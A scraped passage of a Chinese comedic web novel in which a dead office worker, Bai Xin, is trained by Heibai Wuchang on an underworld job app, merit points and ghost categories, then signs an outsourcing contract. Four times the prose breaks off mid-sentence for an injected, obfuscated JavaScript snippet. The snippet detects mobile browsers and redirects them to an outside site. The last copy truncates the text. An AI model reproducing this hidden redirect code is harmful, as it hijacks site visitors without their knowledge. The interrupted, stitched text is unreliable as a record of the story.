白无常冷酷地摇摇头:“所有拘魂使必须用自己的真实头像。” 白心正想开口反驳,黑无常却又从屁股后面掏出一个东西递给她:“给你。” 一个手环。 白心想起钟槐的话,这就是工作机啊? 如果她十五岁,或许会因为白捡一个电子产品而兴奋不已,但她二十五了,对这种现代化拉磨工具早已经免疫。 她接过手环,戴在手腕上,手指一滑就点亮了屏幕,除了原装系统,里面就只有一个叫“死了么”的APP。 ……真是大俗即大雅啊,白心佩服,这是哪个在人间打工打疯了的程序员想出来的名字。 她点开APP,软件提示扫脸登陆。 白心只好把自己惨白憔悴的脸对准手环,一道绿光在屏幕上划过,顺利登陆。 一上线,就有很多叮叮当当的消息弹入,白心措手不及,没来得及反应,手环突然震动,一道光芒从屏幕里射出来,投影在床头上方的墙壁上。 白心仍然跪坐在床上,不大不小的投影正好对着她的脸。 白心看着打在墙壁上的投影,惊讶得说不出话。再仔细一看,原来不是在墙壁上,而是和墙壁还有一小段距离。 也就是说,这个投影是完全悬空的。 地府都发展到这种程度了?! 白无常像是见惯了人类这幅没见过世面的嘴脸,咳了一声,不知从哪儿掏出一根白色教鞭,指着投影里白心的头像道:“这是你的头像。” 白心终于回过神,看见白无常的教鞭停留在她那张怨气冲天的脸上。 ……真没有换头像的可能性了吗?她在心里叹气,就算是非主流也比她这头像好啊。 白无常无暇欣赏白心后悔不已的表情,教鞭往头像旁边的一串数字一指:“这是你的ID。” 10087。 嗯,比10086好点,白心想,这个还能接受。 白无常的教鞭往前一翻,屏幕就划到了工作台,屏幕瞬间被颜色不一的方块占满,他从左上方一个一个点起:“这是员工手册,里面每一条都要认真阅读。” 他继续点:“这是地府的地图,你以后会用到。” “这是九幽头条,每天都会通报重大事件。” “这是瞒天过海,一个匿名论坛,每个工作人员都可以发言。” “这是天地银行,所有人的功德全部存在这里。” “这是……” 白无常的声音平淡又轻缓,全然不似陈灵的河东狮吼,白心听得上下眼皮直打架,浓浓的睡意很快袭来,在彻底合上的一瞬间,黑无常的鼾声却先一步响了起来。 “梆”的一声,黑无常的头像木鱼一样清脆响起。 白无常举着教鞭,面对两个瞌睡神四只肿泡眼毫不动摇。 “痛……”黑无常抱着头,疼得呲牙咧嘴。 白心吓得正襟危坐,猛地甩了甩头,彻底清醒过来。 她抬起手臂,手指滑动手环屏幕,一把关掉手环:“行了行了,我自己会研究的,不劳烦您费口舌了。” 白无常却把教鞭伸到白心头顶:“你知道怎么接单吗?” “接单?”白心头顶教鞭,丝毫不敢动。 不知道啊,她想,反正每次公司有什么培训的时候她基本都睡得六亲不认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718941|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、神志不清,这次也没忍住,不仅忘了自己死了,还忘了自己肩负着引渡亡魂的重任。 她只好又打开手环,投影再一次悬浮在空中。 “这才是最重要的地方,”白无常的教鞭又伸到屏幕上,指着其中一个小方块,“不允许睡觉。” 白心点头,把眼睛瞪得像两个刚出厂的灯泡,锃光瓦亮。 工作台里板块繁多,有刚才白无常说的员工手册、地府地图、九幽头条……此时此刻白无常的教鞭停在了一个叫“大厅”的板块上。 他点开“大厅”,教鞭还是从最上方开始移动,白无常指着最上面她的小头像,道:“这是状态栏,你一上线这里右下角就会亮起绿灯,显示已上线。” 状态栏的下面是五个不同的板块,分别是:新任务、待执行、执行中、已完成和线路图。 白无常点开新任务,一堆小黑框瞬间布满了屏幕,他随机点开一个,黑框迅速放大,占满屏幕,像放电影一样开始播放画面。 白心看到,画面里正是白天她去的墓园,光线十分昏暗,而屏幕的正中央正是她和钟槐说话的那棵树。 一道闪电劈来,画面里的天空瞬间变白,白心看到,那棵树上吊着一个长长的人。 不对,长长的是他的舌头,而他本人并不是很高。 “这是吊死鬼,”白无常淡淡说道,“因思念家人悲伤过度在这吊死,每天都徘徊在墓园里。” 话音刚落,一道闪电从窗外划过,白心甚至能从屏幕里看到自己惨白的脸,紧接着,一道雷声就落了下来。 下雨了。 白心看到屏幕里的画面也开始下雨,她咽了口口水,问道:“这是实时的?” “没错,”白无常点头,“所有画面均为实时画面,由我们的特殊雷达系统拍摄……” 话还没说完,画面就彻底一黑,然后迅速缩小,从屏幕里消失了。 白心皱眉:“这是怎么了?” 白无常回答:“这就是有人接单了。” 白心看到,屏幕里还有很多小黑框,每个黑框下面都有两个字:抢单。 只不过都是灰色的。白心疑惑道:“为什么抢单两个字是灰色的?” 白无常双手抱胸,叹了口气:“因为这些单你都抢不了。” “为什么?”白心眼皮一跳。 “这些都太简单了,”白无常淡淡说道,“你的系统给你选出来的任务基本都是B级以上。” 白心:…… 那吊死鬼的舌头长得看起来能绕她脖子三十圈,这叫简单? 白心:“系统根据什么选任务?” 白无常回答:“根据你的功德高低、个人资质、在人间的表现等,全方位多方面计算出来的。” “系统以功德高者优先,简单来说,就是功德越高选择权越大,所以,派到你手里的单基本都是已经在别人手里轮过一轮的。” 白心已经无力吐槽她功德太低这件事了,只觉得连大锅饭都吃不上热乎的,要捡别人的剩饭吃这件事让她本就悲惨的人生更是雪上加霜。 穷人怎么到哪都活得这么艰难啊?! 白无常继续道:“系统每天会循环派单,除了新订单,很久没人接的旧订单也会上大厅,有合适你的任务,你的系统会自动帮你留下。” “但是,”白无常顿了顿,“系统把合适你的单派给你是它的事。” 他眯了眯眼睛,居高临下地看着白心:“而接不接,就是你的事了。” 5. 功德 白心看着白无常那双细长看不透情绪的眼睛,问道:“如果我误抢了呢?” 本来能接的任务就不多,万一她病急乱投医,看都没看就接单了,遇到个千年聊斋里的厉鬼,那她的鬼生估计也要早早断送了。 白无常却重新举起教鞭:“这就是接下来我要说的了。” 白无常划动教鞭,退出了白心的账号,登陆了一个不知道谁的账号,点开系统大厅,也是一堆密密麻麻的小黑框,不同的是每个黑框下面的“抢单”都是绿色的。 绿色,代表可抢。 白无常随便点击了一个“抢单”,画面瞬间弹出一个文本框,里面写着:此单可接,预计收获功德点123点,是否接单? 文本框下面有两个巨大的按钮,一个绿色一个红色,分别是“是”和“否”。 白无常继续点击“是”,画面又弹出一个文本框:此单任务难度评估为“A”,是否确认接单? 下面依然是是和否两个选项。 白无常收回教鞭,双手抱胸看着白心:“系统设置了双重保险,就是为了防止有人误接,我们要确保每一个接单的人都是心甘情愿接的。” 白心看完这一系列操作,心想怎么这么像免责声明……她在心里翻了个白眼,不都是被迫打工,哪来心甘情愿一说? 但她做牛马多年,早已深谙职场那一套,扬起脸微笑道:“我明白了。” 白无常点点头,退出了账号,重新登录了白心的账号。 白心却突然脑子一抽,问道:“那地府……给买保险吗?” 一个合格的牛马,就算被绳子拴住也会问一句这绳子牢不牢。不给买保险,那就彻底跟黑工没什么区别。 黑无常终于揉着脑袋抬起头,无语地看着白心:“废话,当然了。” 白无常回答:“不过跟人间有点区别。” 白心:“什么区别?” 白无常抬起教鞭,点开大厅最上方的小头像,里面是接单人的详细个人信息。 姓名和ID都和之前一样,只是这里多了两条信息:职位和功德数值。 白心看到,她的职位一栏写着“引渡人”,功德数值则是“-99999”。 她想起来了,钟槐说她自己是捉鬼师,而她是引渡人。 白无常的教鞭指着那串不忍直观的数值,说道:“功德在阴间是通用货币,所有人打工都是为了积攒功德,所以你说的保险也会发到所有人账户里。” 白心:“那我们在阳间烧的纸钱呢?不是可以当冥币用吗?” 功德就是货币,那她让陈灵多帮她烧点不就得了?那她还给地府打什么工啊?直接让陈灵帮她实现暴富的梦想,在地府做家财万贯同时又功德圆满的大善人不好吗? 黑无常仿佛看穿了她的心思,食指在鼻子上搓了搓,反问道:“那如果没有人给你烧纸钱呢?你的钱从何而来?” 白心一怔,对啊,如果一个人死后没有任何人祭奠,那么他在阴间的消费又如何进行呢? 黑无常放下手,解释道:“所以,就需要拿功德来换钱用,1功德点可以抵10块钱。” 白无常点头,也耐心科普:“你生前的功德可以换成冥钱,用来支撑你在阴间的消费,比如购买地契、办理各种手续、购买日常物资等,这些都可以在天地银行进行。” 纸钱就是冥币,用作地府日常消费,无人烧纸钱者可用自身功德换钱,功德不足者给地府打工从而积攒功德,由此,完成闭环。 黑无常继续说:“功德可以换钱,钱却不可以用来买功德哦。” 说完,他又笑了起来,笑容狡猾又可恶。 白心听懂了,合着就是游戏币呗?1功德点换10块钱,连汇率都和她家楼下那家游戏厅一模一样。但钱竟然不能换成功德?好可恶的规定,纸钱也是用人民币买的,赚人民币都那么不容易了,加点功德怎么了? 白心暴富的梦想瞬间破灭。如果人生是一场游戏,那么她连上牌桌的机会都没有,因为她甚至不配当赌徒,而是出生就有人破门而入,拿枪指着她的脑袋让她赶紧归还父母欠下的巨债。 区别就是,现在这债既不来自父母也不来自祖宗,而是她娘了个巴子的上一世的自己欠下来的。 她在心里掐算了一下,她现在拥有的财富可以说连斗地主都不敢这么输,要知道她欢乐豆都只欠了两千,何况这是十万功德,那就是——一百万冥币。 原来不是负债十万而是负债百万,她在心里吐了口老血,怪不得地府要黑她的户。 之前是她想错了,以为在地府打工没有工资拿,现在一看,其实功德也就相当于工资,不过——这些都跟她无关,因为她引渡亡魂赚来的功德都要拿来填窟窿,根本没有多余的功德能让她换成钱去吃喝玩乐——她还是一个快要穷穿地心的穷人,并且这辈子都不一定翻得了身。 她也要在地府一直打黑工,直到她能投胎转世为止。 白心的心情跌宕起伏,脑子里想了半天,最终得出这么一个心碎的结果,表情不由得难看起来。 白无常却没有看到白心精彩纷呈的表情,而是拿着教鞭继续道:“任务越难,所获得的功德越多;但如果任务太难,意外造成你灵体殒灭、魂飞魄散,那么你的功德点会自动积累到三百万,也就是你说的保险。” 这…… 白心不知该从何问起,只好问道:“我都魂飞魄散了,还能投胎啊?” 白无常收回教鞭:“当然不能。” “我们会把你的功德点换成冥币,发放到你尚未投胎的亲人的银行账户里。” 白心:“……” 拼死赚来的功德最终只能变成亲人账户上一串冰冷的数字,这哪是保险?简直是阴险! 白无常看着白心微微抽动的脸,继续说:“我说过,系统派发的任务都是跟号主相匹配的,不会低于或超出太多,你大可不必担心。” 白心生无可恋地看他:“如果我接的单功德点都不高呢?” 白无常:“那就以量取胜,多接单。” 白心:“如果我天天接,四十九天后还不能投胎呢?” 白无常挑了一下眉,冷笑一声:“放心,bug修复得比你想象的快,系统会保证你的任务质量,确保你能一直工作到投胎” 白心两眼一黑,心说一刀囊死我算了。转念一想不对,自己已经死了,还是让她魂飞魄散、永世不得超生算了。 她又问:“如果我不接单呢?” 白无常轻笑,似乎早预料到她这么说:“我说了,系统派单是它的事,接不接是你的事。” “每年也有一些功德很低又不愿意接单的人,”他语气平淡,“那就只能投胎去下三道了。” “下三道?” 白无常淡淡回答:“畜生道、饿鬼道和地狱道。” 白心觉得嗓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718942|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子突然发紧,六道轮回她只是去寺庙游玩的时候略有耳闻,没想到竟是真的。上三道分别是天道、阿修罗道和人道,下三道就是白无常刚才说的三道,白心心里突然有点紧张,第一次真正感觉到什么叫命运掌握在自己手里。 “不过你暂且不用担心这个问题,”白无常淡淡说道,“你现在连下三道都挤不进去。” 白心:“……” 白无常继续说:“我们也是为了给所有人一个将功赎过的机会,按照以往的规矩,到了地府就会直接去见判官,功德已定,可没有再次更改的机会。” 让你打工是为了你自己,要感谢平台提供的机会……白心突然觉得这套话术怎么有点耳熟,好像她公司某个肥头大耳的副总也说过。 “当然,”白无常重新挥动教鞭,开始划动屏幕,“我们也欢迎一些有志之士去挑战大单。” 大单?白心看到白无常的教鞭退出了大厅,点开了一个叫“角斗场”的板块。 一点开,白心就看到满屏的黑框,和刚才不同的是,每个黑框上面都直接标明了功德数值,而随便一个数值都在5000以上。 黑无常突然说话:“这里本是捉鬼师专用,前段时间也开放给引渡人了。” 白无常点头,随便点开了一个黑框:“有些人想在有限的时间内快速积攒功德,就会来这里接单。” 白心还没有做好准备,黑框一下就放大,画面直接突到了她的脸上。 这次是一栋老宅,风格像七八十年代香港那边的豪宅,大厅的黄色灯光忽明忽暗,白心看不太清,然后灯光突然熄灭,空荡的大厅传来一阵惊悚的咯咯笑,画面一转到了浴室,窗外的月光照进偌大的浴室,墙上的镜子突然“砰”地一声,毫无预兆地爆裂了。 白心看到镜子的碎片掉在了浴室洁白的瓷砖上,然后慢慢渗出血迹,一阵呜呜的尖细哭声响起…… “停停停,”白心把头扭到一边,不愿再看,“这也没看见鬼啊?” 黑无常叹息一声:“这些都是有特殊能力的鬼,比如你看到的这一个,她就会隐身。” 白无常退出画面,也说道:“所以这些鬼基本上都是由专门的捉鬼师去捉。” 白心把头扭过来,看着那些黑框,问道:“我能接这些单吗?” 这些订单个个数值都在5000以上,跟天降横财有什么区别?如果她每天都接,四十九天后岂不是直接暴富了?下辈子还不得投胎到天道去当个神仙? 白无常愣了一下,看着刚刚还在颓废状态的白心突然两眼放光,不由得笑了一下:“当然,刚才也说过了,我们欢迎任何人去挑战大单。” 他继续道:“这里的单全凭自愿,不依靠系统派单,同样系统也不会帮你评估难度,换句话说,如有意外,后果自负。” 白心没管那句后果自负,心里想的是这里竟然不依靠系统派单。那这样一来,她打工的性质就变了,她不再是为地府打黑工,而是完全可以靠自己的双手逆天改命了。 但天上不会掉馅饼,地下同样也是,白心看着那些密密麻麻的黑框和上面诱人的数值,心里明白,这些任务肯定都是难上加难。 黑无常补充道:“这几年亡魂数量激增,个个都充满怨气,捉鬼师数量有限,所以才角斗场才开放给你们。” “捉鬼师?” 白心终于提起,她老早就想问了,这个捉鬼师到底是个什么样的存在。 6. 亡魂图鉴 白无常退出工作台,教鞭往左边轻轻一划,一张巨大的图片瞬间出现在了屏幕上。 组织架构图。 白心一眼就看懂了,这是她新东家的组织架构图。她的目光落在了最顶端,方框里的人是后土娘娘,应该和公司董事长差不多,再往下是东岳大帝、酆都大帝、地藏王菩萨,嗯,应该类似于执行总裁,然后是五方鬼帝、十殿阎罗…… “这是通讯录,”白无常说,“可在上方搜索栏搜索,也可以直接点击每个人。” 白心一路往下看,才在倒数第二排的拘魂使看到黑白无常。 “你俩职位原来这么低?”她笑了,“还以为你们多牛呢。” 白无常咳了一声,教鞭突然伸长,指着“黑白无常”四个大字下面的一个方块道:“这是引渡人,也就是你。” 黑无常说道:“别笑,你比我俩还低,引渡人是这几年才设立的职位,上头直接塞给我俩了。” 白心一看,果然,引渡人的位置正在食物链底端。 白无常的教鞭又往旁边一指,“这是捉鬼师。” 白心看到,捉鬼师所处的位置和拘魂使并排,独立在一边,由上级判官司钟馗直接管理。 钟馗……白心想起钟槐的库洛米头像,心里恍然大悟。 有关系就是好哈,白心想,想用什么头像就用什么头像。 白无常收回教鞭:“简单来说,现在人间所有亡魂皆由拘魂使和捉鬼师抓捕。” 黑无常点头:“拘魂使数量也有限,所以才会增加引渡人和捉鬼师,引渡人是还没到投胎时间的亡魂,捉鬼师则是人间具有特殊能力的人。” 白心完全明白了,就是两头吃呗,死了的亡魂要来打工,没死的活人也要来打工,她这种死了但没完全死的半人半鬼也要来打工。 谁看了不说一句,世界真是一个巨大的牛棚马圈。 哦,她看着图片里黑白无常旁边的人,忘了真正的牛头马面也在这打工呢。 白无常:“如有需要,直接打开通讯录,地府所有人员的联系方式都在里面。” 白心点点头,心里却想的是希望她永远也用不上。 “对了,”白无常突然说道,“补充一点。” 白心眨眨眼:“什么?” “若非必要,尽量不要使用蛮力牵引亡魂回地府。” 白心皱眉:“……为什么?” 不是只要给鬼铐上手铐就完事儿了吗?怎么还得考虑他们愿不愿意? 黑无常撇了一下嘴,反问道:“没吃过猪肉还没见过猪跑啊?那强行抓回去的能干出啥好事?” 白心:…… 明白了,就仨字:不好管。 白无常解释:“被强行带走的亡魂会增加地府的管理成本,也会影响其他安分的亡灵,更有甚者还会污染轮回池,造成轮回系统堵塞。” “当然,最重要的还是这些亡魂的执念始终未清,孟婆汤的效果会大打折扣,最终影响他们自身。” 黑无常也说:“而且你们临时工能力有限,安抚亡魂的效果本来就不如我们正式工。” 他竖着伸出一根食指,左右摆了摆:“以暴制暴不可取,为下策。” 白心:“那什么是上策?” 白无常弹了一下西装上的灰尘,回答道: “化解执念。” 黑无常收回手指,点了点头:“找到其不肯投胎的根本原因,帮助他们化解因果业力,从而心甘情愿上路,这是对你们引渡人来说最安全的方法。” 白心:合着我还得兼职心理医生呗? “那万一他们什么都不肯说怎么办?”她认真提问。 黑无常却噗嗤一声笑了出来,然后仰天长笑,笑得白心心惊肉跳,不禁问道:“笑、笑什么?” 白无常嘴角也翘起一抹微笑,回答道:“不肯说话都是相对简单的了,你还会遇到更多奇怪的亡魂。” 白心眼皮开始不自觉抽搐:“比如呢?” “比如喜欢暴力、爱捉弄人,”白无常装作思考的样子,语气依然轻缓平淡,“还有的喜欢扒皮抽筋、茹毛饮血,还有……” “等等!”白心紧急叫停,再听下去都能给她听活了。 她想哭:“我要是带不走他们呢?” 她也想笑,笑她做鬼也又穷又惨。 黑无常笑得下巴都快脱臼了,此刻终于笑完,对着白无常说道:“好啦,你别吓她了。” 白无常轻哼一声,没再做声。 黑无常摸了半天的鱼,终于开始干正事,从他那哆啦A梦般的屁股口袋掏出一根长长的黑色教鞭,开始在屏幕上戳戳点点。 白心看着那根教鞭退出了组织架构图,翻到了工作台,点开了一个名为“亡魂图鉴”的方块。 黑无常蹲在床头柜上,一手拿教鞭一手撑下巴,看着表情复杂的白心,认真说道:“知己知彼,才能百战不殆,现在教你怎么认鬼。” 白心点点头,眼皮还在狂跳,她闭上眼,抬起手使劲按,却怎么也停不下来。 亡魂图鉴一点开,白心就感到一股煞气扑面而来,睁眼一看,好嘛,大大小小的全是鬼。 她的目光快速扫过,知道的认识这是亡魂图鉴,不知道的以为异形来了。 不大不小的屏幕里站满了鬼,有两只眼球突出掉出眼眶的、有舌头长得能绕自己三圈的、有缺了半块脑子的、还有肠子露在外面的……白心看来看去,这些奇形怪状的鬼占了大半,很少有完整的鬼。 她还没开口,黑无常就预料到她在想什么,解释道:“车祸、坠崖、失足、上吊……” 他叹了口气:“能体面死去的人还是少数。” 白心看到这些鬼排列整齐,每个鬼的头顶都标明了刚刚黑无常说的死因,只是她发现,整个屏幕被这些鬼划分成了四种颜色。 以屏幕中心为原点,四种颜色分别占据在四个象限,从第一象限开始分别是白色、蓝色、红色和黑色。仔细一看,每个色块里面还有更细的色块,只是深浅程度不同。 白心问道:“这是……根据颜色给鬼分类?” 黑无常“哟”了一声,感慨道:孺子可教也! 他拿着教鞭,点出一个面无表情身体完整的灰白色的鬼,说道:“白色代表迷茫,蓝色代表悲伤,红色代表愤怒,黑色代表怨恨。” “白色灵魂最多,基本都是刚离世、意识模糊和对人间无强烈眷恋的灵魂。” 白无常突然插话:“这种灵魂通常会待在原地,等待地府的人来接应,任务难度通常在A级。” 黑无常点点头,又在屏幕上点出一个浅蓝色的正在流泪的鬼,说道:“蓝色灵魂通常是带着遗憾离世的,所以会感觉到悲伤,并且这种感觉会一直持续到他们投胎。” 白心突然想起墓园里的那只吊死鬼,身上好像就裹着一层淡蓝色的光芒,只不过她忙着惊讶地府的实时拍摄系统,忘了这回事了。 “这种鬼有什么危害?”白心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718943|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道,如果只是悲伤,那大概率造不成什么伤害吧? 白无常回答:“一般不会有什么危害,只是如果悲伤过度,遗憾太深,那也是会造成一些伤害的。” 黑无常搓了搓下巴,思索道:“好像两个月前就有个引渡人被某个鬼的眼泪淹死了吧?” 白心:“……” 眼泪还能淹死人啊?白心嘴角抽搐,水龙头都不敢这么流吧? 黑无常又开始读心,说道:“那是在角斗场发生的事,据说那一单有整整两万功德点。” 白心明白了,这就叫富贵险中求。 白无常:“这类灵魂一般的任务难度在A级和C级之间,少有D级及以上的,刚才那个属于个例。” “是啊,”黑无常重新划动屏幕,调出一个火红色的张着血盆大口的鬼,“像这种你就要注意了。” 白心看到这个红色鬼的两边嘴角已经撕裂了,裂口一直延伸到了耳根,可以说半张脸都是嘴,鲜血不停地从嘴巴里流出来,瀑布一样流了一身。 “这类灵魂大部分都是枉死之魂,”黑无常说道,“也就是死得太冤了,不服气。” 白无常也说道:“是的,他们的攻击力基本都很强,难度一般划分在C级及以上。” 白心:“所以……面对这种鬼,我就可以使用哭丧棒和勾魂锁?” 不可能被打了还不还手吧,她想,这又不是人间,被人甩一巴掌不吭声还能得到两千块钱。 白无常挑了一下眉,似乎没想到白心思维如此跳脱,回答道:“没错,可以先敲打一下,平息他们的怒火。” 黑无常连连点头:“对对对,就是这么用的,你还挺聪明。” 白心呵呵了一下,说道:“你们老说什么A级B级的,我都还没搞清一共几级,还有角斗场,里面的鬼看起来全都不好惹,我浑身上下拢共就两个东西,怎么对付他们啊?” 白无常听见白心的一番质问,叹了口气,回答:“其实这些员工手册里面都有。” 什么意思?她疑惑道:“那你们……” 黑无常也叹了口气:“你连自己死了都不知道,自己的功德那么低也不知道,谁知道你是不是个傻子?” 白心:? 白无常笑了一下,很快又平复:“我们会很快讲完。” 白心眉毛皱得能夹死一排蚂蚁:“不是,你们真把我当傻子了啊?” 怪不得讲得这么细,合着他俩来这支教来了,这是生怕她一个字都看不懂啊! 白心没好气,两只眼睛狠狠瞪着黑无常,眼珠子都快瞪出来。 黑无常把头撇过去,点开最后一只黑色的充满怨气的鬼:“你快跟这个差不多了。” 白无常轻咳一声,说道:“黑色属于高危亡魂,基本都是只为复仇和毁灭而存在的恶灵,通常不会出现在系统派送的任务里。” 恶灵?白心突然想起钟槐好像说过,她只捉恶鬼。 她问道:“那这些鬼是不是基本都在角斗场?” 怪不得,角斗场随便一个任务都是5000以上的功德点,敢情全是这些张牙舞爪的家伙。 “没错,”白无常点头,“大部分都在,基本都由捉鬼师解决,只有很少一部分被派送给了引渡人。” 这…… 白心眼皮一跳:“不会派给我吧?” 白无常摸了摸鼻子:“不好说。” 黑无常收回教鞭,双手抱膝:“系统认为你能接,就会派给你。” 7. 签合同 “是的,”白无常说,“我们的引渡系统是目前地球上最先进的系统,它既然能计算出你适合这个任务,也就说明你确实能够完成。” 白心眉毛一竖:“系统BUG了怎么办?” 拜托,她就是活生生的例子好伐?人倒霉喝水都塞牙,她倒霉连最强计算机都拉胯,还有什么不可能的?Everything is Possible! “哪有那么多BUG,”黑无常又开始掏屁股,一下子掏出之前那个平板,“说到BUG,让我看看被你搞坏的轮回系统修好了没。” 他的手指在平板上点来点去,半晌,惊叹道:“哎?这么快就修好了?” 白心大喜,问道:“是吗?那我的功德是不是也修复了?” 黑无常白眼一翻:“只是轮回系统不卡了而已,你的功德又没变,-99999只是系统的下限,不是你的下限。” 白心:…… 白无常伸出手,在空中轻轻一拉,平板就从黑无常的手中飞到了他的手里,他抱着看了一会儿,说道:“确实修好了,但你的账号仍然登不进去。” 白心:……这跟没修好有什么区别? 他抬起头,看着白心:“你现在有两个选择。” “什么?”白心不解,怎么又要让她做选择题了。 “一是立刻进入地府,不经过轮回系统,等待七七四十九天后直接进入地狱道,”白无常仍然盯着白心,淡淡说道,“你得在地狱里把罪赎完了才能重新投胎。” “我选二。”白心抢答。 把自己往地狱里送的才是真傻子,白心想,她还没蠢到这种地步。 白无常点头,重新在平板上操作起来,片刻,把平板递给白心:“那就签合同吧。” 合同?白心接过平板,看到屏幕上确实是一份电子合同,标题写着:地府灵魂引渡项目外包服务合同。 怎么又是外包?! 黑无常又开始读心,插话道:“你是临时工,所以只能签外包。” 白心苦笑,活着的时候做外包,死了来地府还是做外包,在学校当小透明,进了社会是边角料,她的人生就是一整个外包的人生。 她抬起手指,在最下方乙方签下了自己的名字。 苟延残喘也比直接送死好,白心边签边想,外包怎么了?外包被鬼殴打也比去地狱受刑好! 她死了也不会放弃生的希望。 签完的一瞬间平板立马被白无常抽走,他看着上面歪歪扭扭的签名,微笑着对白心伸出手:“恭喜你,正式加入我们,成为拘魂使的一员。” 黑无常也在他的黑袍上擦了擦手,朝白心伸出自己的手:“还有我还有我。” 白心跪坐在床上,看着左右两边一白一黑两只手,嘴角努力扯出一丝笑容,抬起双手握住他们的手,说道: “谢谢。” 白无常放开她的手,说道:“合同从现在起正式生效,距离你投胎还有四十九天。” 白心:“为什么是四十九天?” 她老早就想问,为什么偏偏是四十九天? 黑无常也放开她的手,回答道:“所有亡魂登入轮回系统的最快时限为四十九天。” 白无常点头,详细解释道:“好比在人间出生后需要上户口,死后我们同样要进行身份认证,认证后的亡魂才能进入轮回系统,从死亡认证到进行轮回最快为四十九天。” 原来是这样,白心明白了,又问道:“那我引渡的亡魂也是已经认证过的吗?” “不一定”,黑无常回答,“有的人刚死,来不及认证,这就需要你去接引他们的时候顺便认证了。” 白心想起来了,昨天她睡得好好的,醒来就看见黑无常抱着平板开始报她的户口。 白无常也说道:“有的亡魂则是已经进行了认证,但是执念太深,不肯进地府入轮回,就一直待在人间。” 那……白心问道:“所以,千年厉鬼就是这么来的?” “哈哈哈,”黑无常笑了,“聊斋看多了吧你!” 白无常也笑了:“那都是神话故事,目前在人间逗留得最久的亡魂也就一百多岁而已。” 拜托,你们不也是神话故事里的吗?白心瘪了下嘴,继续问道:“意思就是,进行身份认证后,最快四十九天就能投胎了?” 黑无常点头,表示认可:“对,而且你可以走员工快速通道,无需和其他亡魂一样排队等待。” 哇哦,白心想,这就是有关系的好处吗。她赶过集、赶过地铁、赶过DDL,赶着去投胎倒是第一次。 白无常把平板抛回给黑无常,双手背在身后,淡淡说道:“所以,你必须在四十九天内积攒功德,直到你的功德点能够登入轮回系统为止。” 白心眼睛眯起来,狐疑道:“不是说接我回去有二十万吗?怎么不立刻把我抓走了?” 白无常被白心问得一噎,一时间没想好措辞,还没来得及进行解释就是掩饰黑无常就脱口而出:“抓个屁啊抓!不走流程根本没钱好吧,还得罚钱!” 白无常瞪了他一眼,赶紧接道:“他乱说的,没这回事。” 拜托,白心看着白无常窘迫的表情,大哥你的演技也太差了! 她怎么不懂呢,她都快被牛马味腌入味了,知道这种不按SOP流程和常规走的工作最危险了,她可太懂了!没有任何人想在工作的时候遇到意外情况。 这就是说,不入轮回系统直接去地狱道,黑白无常一分钱也没有,甚至面临着罚钱的危险。 “好吧,”她双手交叉抱在胸前,“这个人情,不对,鬼情是你们欠我的。” 白无常又狠狠瞪了黑无常一眼。 黑无常知道自己说错了话,眼神飘忽左看右看不敢直视白无常的眼睛。 白心在心里打算盘,对黑白无常来说,她是迟早要投胎的人,但是对她来说,有他俩的帮忙那可就完全不一样了。 “你,”白心伸出右手,食指指着白无常,又指向黑无常,“还有你!” “在我遇到危险的时候必须来救我。”她扬起下巴,一副小人得志的表情。 她亲手给自己上了一份保险。 白无常扶额,深深叹了口气,最终无奈道:“好吧。” “只要你别主动去招惹那些恶灵,”他放下额头上的手,说道,“我们不一定能及时赶到。” “好的好的。”白心把头点得像小鸡啄米,心里却想的是这可由不得你。 黑无常拿着平板,终于开口,语气弱弱的:“目前系统最低数值是-88888,你还是有希望的,加油。” 白心算了下,那也就是一万多功德点,每天就算只拿到两百多功德点也差不多够了,但是…… 她才不要做最后一名。 直接进入地狱和打四十九天工后去地狱,只有脑子瓦特了的人才会选择后者。 谁爱入地狱谁入吧,白心想,反正她不去,她要逆天改命,进入天道! 白心握紧拳头,肾上腺素开始飙升,还没燃起来白无常就浇下来一盆冷水:“虽然如此,但是绝大多数引渡人还是最终投胎到了他们本应该去的地方。” 白心抬起头,看着白无常的眼睛:“……为什么?不是多积德就能投好胎吗?” 黑无常叹了口气,道:“你多买彩票就一定能中吗?” 白心:…… “天地不仁,万物为刍狗,”白无常的眼神重新恢复平淡无波,“这是命运。” 黑无常给白心解释:“打工确实可以积德,但是也只是能让你下辈子比原来过得舒服点,比如你本来要投胎到畜生道,功德高点就能让你不受流浪、饥寒之苦,甚至可以让你遇到一位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 